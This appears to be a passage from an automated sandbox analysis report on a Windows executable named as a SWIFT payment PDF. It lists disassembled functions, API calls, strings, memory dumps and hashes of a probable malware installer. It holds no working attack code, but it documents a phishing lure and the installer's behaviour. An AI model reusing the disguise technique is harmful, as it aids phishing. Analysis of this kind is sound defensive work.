Opcode Fuzzy Hash: 70daa21561afbffaee6324691816ec535f2df065c97ff5b03bec79a516da71ec
Instruction Fuzzy Hash: 121108B1B046009BC721AF19CC809333BADEBC6756318823FED01673A1D77D9D028B68

Uniqueness

Uniqueness Score: -1.00%

Function 00405624 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,004030D9,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75EE3410,0040329C), ref: 0040562A
CharPrevA.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,004030D9,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75EE3410,0040329C), ref: 00405633
lstrcatA.KERNEL32(?,00409014), ref: 00405644

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405624

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3355392842
Opcode ID: db489587f03a436ea3115729a1eb7cc5b4759721d3bad8b493c3f74dc48da956
Instruction ID: 00b6ae861ddc274f1a22631493032202eb54a79e67bc778d52c9d7871f0e19dd
Opcode Fuzzy Hash: db489587f03a436ea3115729a1eb7cc5b4759721d3bad8b493c3f74dc48da956
Instruction Fuzzy Hash: C8D0A962A099302ED20226158C05EDB3A98CF02315B040873F200B22E2C67C2D418BFE

Uniqueness

Uniqueness Score: -1.00%

Function 00401EDC Relevance: 6.1, APIs: 4, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeA.VERSION(00000000,?,000000EE), ref: 00401EEB
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 00401F09
GetFileVersionInfoA.VERSION(?,?,?,00000000), ref: 00401F22
VerQueryValueA.VERSION(?,00409014,?,?,?,?,?,00000000), ref: 00401F3B

Part of subcall function 00405AD5: wsprintfA.USER32 ref: 00405AE2

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
String ID:
API String ID: 1404258612-0
Opcode ID: 8a065e25df513d2c70edfbb38d14aece4aa2bad1db351d2eec3c415220230595
Instruction ID: d9cf4706ccd720fe68a9057b37b388a6d3cc99dc36037c8cf20abe177969b22e
Opcode Fuzzy Hash: 8a065e25df513d2c70edfbb38d14aece4aa2bad1db351d2eec3c415220230595
Instruction Fuzzy Hash: 02117071900108BEDB01EFA5DD81DAEBBB9EF04344B20807AF505F61E2D7789E54DB28

Uniqueness

Uniqueness Score: -1.00%

Function 004056BD Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,?,outvillain\faber.div,?,00405729,outvillain\faber.div,outvillain\faber.div,?,?,75EE3410,00405474,?,C:\Users\user\AppData\Local\Temp\,75EE3410,00000000), ref: 004056CB
CharNextA.USER32(00000000), ref: 004056D0
CharNextA.USER32(00000000), ref: 004056E4

Strings

outvillain\faber.div, xrefs: 004056BE

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: CharNext
String ID: outvillain\faber.div
API String ID: 3213498283-1876387199
Opcode ID: 3f639457ae052313cff0aaedcd272a5626d50e6f9abcac8e261aee29ca5e702c
Instruction ID: d8a7812ab63b142c46357df6d68c050b156b7c96d32b59c6f1bc793f3f64125f
Opcode Fuzzy Hash: 3f639457ae052313cff0aaedcd272a5626d50e6f9abcac8e261aee29ca5e702c
Instruction Fuzzy Hash: 86F0C251905F91AAFB3252640C44B7B9BCCDB55315F041467E641672C1C2BD4C405F9A

Uniqueness

Uniqueness Score: -1.00%

Function 00402BCF Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00402DAF,00000001), ref: 00402BE2
GetTickCount.KERNEL32 ref: 00402C00
CreateDialogParamA.USER32(0000006F,00000000,00402B4C,00000000), ref: 00402C1D
ShowWindow.USER32(00000000,00000005), ref: 00402C2B

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 7de69ba99e19708d0d579c18d4dfd725f7e56dba20af062519453b561e00e44c
Instruction ID: d1c4e1838bfb856cd6d3ea9dd85ee240d54de3540c59ddf7a57925f8cf4fbe18
Opcode Fuzzy Hash: 7de69ba99e19708d0d579c18d4dfd725f7e56dba20af062519453b561e00e44c
Instruction Fuzzy Hash: 52F0D030909620BFC6616F18BD4CE5F7BA4E745B117518467F204A11A5D27CA8838FAD

Uniqueness

Uniqueness Score: -1.00%

Function 004024CF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34filestringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000011), ref: 004024ED
WriteFile.KERNEL32(00000000,?,C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\System.dll,00000000,?,?,00000000,00000011), ref: 0040250C

Strings

C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\System.dll, xrefs: 004024DB, 00402500

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: FileWritelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\System.dll
API String ID: 427699356-1035503177
Opcode ID: 071ff9b93a967e41d10e7cb0e14db62d4ae7f43003ce44969fa16f51b87b1945
Instruction ID: d4cad745c1bb7ae9502ce82199ca69f85842da8443a3b9b3f3b852b520f082a9
Opcode Fuzzy Hash: 071ff9b93a967e41d10e7cb0e14db62d4ae7f43003ce44969fa16f51b87b1945
Instruction Fuzzy Hash: 4CF0E272A44245BFDB00EBA08E4AAAB3668CB01308F10843FB101F50C2D5FC99419B2D

Uniqueness

Uniqueness Score: -1.00%

Function 00405347 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,007A0500,Error launching installer), ref: 0040536C
CloseHandle.KERNEL32(?), ref: 00405379

Strings

Error launching installer, xrefs: 0040535A

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 788b6a00b7ec5152489f9dc894b393f1b4e1631423b852db40bb4005bf856efe
Instruction ID: f3300c01cb1876a67fd1897e7389f13c8369481b1b26804573fe4f9c45dca3ad
Opcode Fuzzy Hash: 788b6a00b7ec5152489f9dc894b393f1b4e1631423b852db40bb4005bf856efe
Instruction Fuzzy Hash: 22E0ECB4900209AFDB009F64DC09E6F7BBCFB00344F40CA21BD11E2150F778E9108AA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040358D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,75EE3410,00403565,004033A9,?), ref: 004035A7
GlobalFree.KERNEL32(0085EA98), ref: 004035AE

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040359F

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-3355392842
Opcode ID: a867077822133ff692d23af0c54fa15bc8068d047174f32ce19527d60d8a5524
Instruction ID: 25ceb6f6e8048fd8c7c72bafa6746df7c9a9eea5615397dbd2628d9726c916a8
Opcode Fuzzy Hash: a867077822133ff692d23af0c54fa15bc8068d047174f32ce19527d60d8a5524
Instruction Fuzzy Hash: 6EE08C32805020ABC6215F14AD0471AB6686B89B22F01406BE9407B2A087B8AD428BD8

Uniqueness

Uniqueness Score: -1.00%

Function 0040566B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(80000000,C:\Users\user\Desktop,00402C9F,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe,C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe,80000000,00000003), ref: 00405671
CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402C9F,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe,C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe,80000000,00000003), ref: 0040567F

Strings

C:\Users\user\Desktop, xrefs: 0040566B

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-3370423016
Opcode ID: 34a4f8c708b27f6946e7134e7721e231f8b12887e9b4f023f0af0bef71a59494
Instruction ID: 066a61083934c2e15797617eaf2660ffc2c94803564b26df0c9315ada1aa8723
Opcode Fuzzy Hash: 34a4f8c708b27f6946e7134e7721e231f8b12887e9b4f023f0af0bef71a59494
Instruction Fuzzy Hash: 38D0A762409D702EF30352108C04BEF6A88CF12300F0904A2E440E21D0C2781C418BED

Uniqueness

Uniqueness Score: -1.00%

Function 100010E0 Relevance: 5.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 1000123B: lstrcpyA.KERNEL32(00000000,?,?,?,100014DE,?,10001020,10001019,00000001), ref: 10001258
Part of subcall function 1000123B: GlobalFree.KERNEL32 ref: 10001269

GlobalAlloc.KERNEL32(00000040,?), ref: 1000115B
GlobalFree.KERNEL32(00000000), ref: 100011B4
GlobalFree.KERNEL32(?), ref: 100011C7
GlobalFree.KERNEL32(?), ref: 100011F5

Memory Dump Source

Source File: 00000006.00000002.134294229538.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.134294192586.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.134294264369.0000000010003000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.134294303301.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: Global$Free$Alloclstrcpy
String ID:
API String ID: 852173138-0
Opcode ID: c9149b92212d33adc4212204361ca6219cf995c9886f0e0edac76aa4d1876c43
Instruction ID: 26a7307167ea038f6128c28db1d5d02e0c11c1c5116c5a7ce728bb40d8b914e2
Opcode Fuzzy Hash: c9149b92212d33adc4212204361ca6219cf995c9886f0e0edac76aa4d1876c43
Instruction Fuzzy Hash: E431BAB2808254AFF705CF64EC89AEA7FE8EB052C0B164116FA45D626CDB349910CB28

Uniqueness

Uniqueness Score: -1.00%

Function 0040578A Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,0040599C,00000000,[Rename]), ref: 0040579A
lstrcmpiA.KERNEL32(?,?), ref: 004057B2
CharNextA.USER32(?,?,00000000,0040599C,00000000,[Rename]), ref: 004057C3
lstrlenA.KERNEL32(?,?,00000000,0040599C,00000000,[Rename]), ref: 004057CC

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 4d6aa7fcecb591248e5394db533e431d238a5c46998e6b160d14a30e062bce79
Instruction ID: df48b93824ef6af08d299fa443af8079e3e9d2208639ace1cb57769ac35cd01d
Opcode Fuzzy Hash: 4d6aa7fcecb591248e5394db533e431d238a5c46998e6b160d14a30e062bce79
Instruction Fuzzy Hash: DBF0C235504518FFC7029BA5DC4099FBBB8EF45350F2540AAF800F7210D274EE01ABA9

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: SWIFTCOPYMT1030000000_pdf.exePID: 1268, Parent PID: 1976COMMON

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1333
Total number of Limit Nodes:	0

Executed Functions

Function 05191C83 Relevance: 1.3, APIs: 1, Instructions: 50
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000005), ref: 05191CD8

Memory Dump Source

Source File: 00000088.00000002.134606940540.0000000004CE6000.00000040.00000400.00020000.00000000.sdmp, Offset: 04CE6000, based on PE: false

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: a87fffe04863857890f8b96ea649a37a322763b6f0a9565940e87421010e622a
Instruction ID: ae1f1f5b7e234b93b53a9f24a0a5fe7b42b86ebdf73e3a3ccc6da2013c8301e8
Opcode Fuzzy Hash: a87fffe04863857890f8b96ea649a37a322763b6f0a9565940e87421010e622a
Instruction Fuzzy Hash: BD1106B1680740AFD7599F71898CB5A73A1AF143A5F858A84E9528B0A6D7B8C8C0CF52

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404801 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404819
GetDlgItem.USER32(?,00000408), ref: 00404824
GlobalAlloc.KERNEL32(00000040,?), ref: 0040486E
LoadBitmapA.USER32(0000006E), ref: 00404881
SetWindowLongA.USER32(?,000000FC,00404DF8), ref: 0040489A
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 004048AE
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 004048C0
SendMessageA.USER32(?,00001109,00000002), ref: 004048D6
SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 004048E2
SendMessageA.USER32(?,0000111B,00000010,00000000), ref: 004048F4
DeleteObject.GDI32(00000000), ref: 004048F7
SendMessageA.USER32(?,00000143,00000000,00000000), ref: 00404922
SendMessageA.USER32(?,00000151,00000000,00000000), ref: 0040492E
SendMessageA.USER32(?,00001100,00000000,?), ref: 004049C3
SendMessageA.USER32(?,0000110A,00000003,00000000), ref: 004049EE
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404A02
GetWindowLongA.USER32(?,000000F0), ref: 00404A31
SetWindowLongA.USER32(?,000000F0,00000000), ref: 00404A3F
ShowWindow.USER32(?,00000005), ref: 00404A50
SendMessageA.USER32(?,00000419,00000000,?), ref: 00404B4D
SendMessageA.USER32(?,00000147,00000000,00000000), ref: 00404BB2
SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00404BC7
SendMessageA.USER32(?,00000420,00000000,00000020), ref: 00404BEB
SendMessageA.USER32(?,00000200,00000000,00000000), ref: 00404C0B
ImageList_Destroy.COMCTL32(?), ref: 00404C20
GlobalFree.KERNEL32(?), ref: 00404C30
SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00404CA9
SendMessageA.USER32(?,00001102,?,?), ref: 00404D52
SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 00404D61
InvalidateRect.USER32(?,00000000,00000001), ref: 00404D81
ShowWindow.USER32(?,00000000), ref: 00404DCF
GetDlgItem.USER32(?,000003FE), ref: 00404DDA
ShowWindow.USER32(00000000), ref: 00404DE1

Strings

, xrefs: 00404DB9
M, xrefs: 004049AA
N, xrefs: 00404A8B

Memory Dump Source

Source File: 00000088.00000002.134606570157.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000088.00000002.134606494894.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606647727.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606727098.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606848435.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: d7d8be1d1430912dce9adc548270cedff44170f7b06606a19f6bf33037737e14
Instruction ID: 73e5042133b470fdde48d750d06e43d2904589ccee469aaf4ee40575ec54014f
Opcode Fuzzy Hash: d7d8be1d1430912dce9adc548270cedff44170f7b06606a19f6bf33037737e14
Instruction Fuzzy Hash: 59027FB0900209AFEB10DF54DC85AAE7BB5FB84315F10853AF610B62E1C7799E42CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00403188 Relevance: 52.7, APIs: 21, Strings: 9, Instructions: 222
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CharNextA.USER32(00000000,007A8000,00000020), ref: 0040319D
